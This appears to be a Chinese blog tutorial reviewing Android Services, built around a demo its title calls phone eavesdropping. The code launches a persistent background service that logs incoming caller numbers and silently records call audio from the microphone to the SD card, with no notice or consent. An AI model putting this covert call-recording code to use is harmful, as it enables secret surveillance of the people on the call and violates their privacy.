安卓四大组件的复习——窃听电话(四)
这一节我是用来复习service~~~~~~~~~~~~~~~·
安卓为什么会有服务,有什么用?
答案: 起先安卓是靠着linux 定制的系统,后来自己封装了一些东西,就变成了安卓。linux 没有服务但是有进程。安卓就借着这个概念,研究出来了 service
service:没有界面的acitivty 没什么这么说呢 ,因为它有生命周期,是不是很变态。
其实对于service 的应用,最常用的就是MP3的播放。 基本概念我就不多了。
先用一个Demo来解释
思路,用户打开应用就开启服务监控电话 ,还需要建立一个类,来开启服务和一些监控手机电话的一些操作
package com.itheima.callstatuslintener;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//开启服务
Intent intent = new Intent(this,PhoneStatusService.class);
startService(intent);
}
}
到了 service类 按照规则 先去配置文件注册
<service android:name=".PhoneStatusService"></service>
service 不像广播 配置名字就是service 后面是要注册的类名
开始编写service 类吧
我在前面说过 一个service 是有生命周期的,基本和activity差不多
Oncreate Ondestory OnstartComment() ....但是基本能用的就是Oncreate 和Ondestory
在service 中创建的时候 ,开始监听电话
package com.itheima.callstatuslintener;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneStatusService extends Service {
/**
* 长期在后台运行的组件,如果用户不手动的关闭 , 不会停止的.
*/
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
System.out.println("服务被创建了 ");
// 监视用户电话状态的变化...
// 电话管理器 电话管理的服务
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// 监听手机的通话状态的变化
tm.listen(new MyPhoneStatusLinstener(),
PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStatusLinstener extends PhoneStateListener {
private MediaRecorder recorder;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 空闲状态 ,没有通话 没有响铃
if (recorder != null) {
recorder.stop();
recorder.reset(); // You can reuse the object by going back
recorder.release(); // Now the object cannot be reused
recorder = null;
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 响铃状态.
System.out.println("发现来电号码 :" + incomingNumber);
// 1.创建出来一个录音机
recorder = new MediaRecorder();
// 设置录制的音频源 从话筒里面获取声音
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/" + System.currentTimeMillis()
+ ".3gp");
recorder.prepare();
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 通话状态
if (recorder != null) {
recorder.start(); // Recording is now started
}
break;
}
} catch (Exception e) {
e.printStackTrace();
}
super.onCallStateChanged(state, incomingNumber);
}
}
@Override
public void onDestroy() {
super.onDestroy();
System.out.println("服务被销毁了...");
}
}
基本上上面一段代码就是监听手机和开始录音, 都是模板代码 照抄就可以了